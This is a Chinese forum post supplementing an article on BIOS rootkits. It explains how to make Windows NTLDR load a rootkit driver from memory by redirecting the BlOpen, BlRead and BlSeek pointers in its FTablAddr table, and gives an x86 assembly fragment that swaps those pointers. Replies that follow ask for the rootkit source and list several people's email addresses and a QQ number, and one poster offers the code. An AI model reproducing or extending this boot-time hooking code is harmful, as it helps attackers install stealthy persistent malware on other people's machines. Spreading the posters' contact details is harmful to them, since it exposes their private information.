BIOS rootkit的一点补充

读了BIOS Rootkit:Welcome home,my Lord!的文章,觉得如何运行一个driver说的很模糊,好像还有点复杂,本人就补充一下这点:
可以直接调用NTLDR的BlLoadDeviceDriver函数,但问题在于该函数是从硬盘上加载driver,但现在rootkit的driver位于内存中，就必须重载NTLDR中访问硬盘的相关函数，它们是：
BlOpen,BlRead,BlSeek函数，在NTLDR中通过一个静态变量FTablAddr来存放这些函数的指针，只要将这些函数指针先指向我们的内存文件访问函数，就能实现内存加载driver.
对各个版本的操作系统，可以用IDA之类找到FTablAddr的地址，然后修改之中的相关指针下面是一段代码：
;saving funAddr:
    mov eax,FTablAddr
    mov ebx,[eax]
    push dword ptr [ebx+8]    ;openFun
    push dword ptr [ebx+12]    ;readFun
    push dword ptr [ebx+20]    ;seekFun
    
    mov eax,MyOpen
    call cntFunAddr    
    mov dword ptr [ebx+8],eax
    
    mov eax,MyRead
    call cntFunAddr    
    mov dword ptr [ebx+12],eax
    
    mov eax,MySeek
    call cntFunAddr    
    mov dword ptr [ebx+20],eax

兄台:
   能否把bios rootkit的演示代码..发份给我..
cheng_5103@126.com
cheng_5103@sohu.com
先谢过了..我很想看下哈!!

你好，能否发一份你的程序给我，
我想学习学习
先谢谢你了
我的邮箱是：122433468@qq.com

呃，刚看见给我也发一份吧
dayed.hell@gmail.com

我有这个源码。想要代码的加我108017820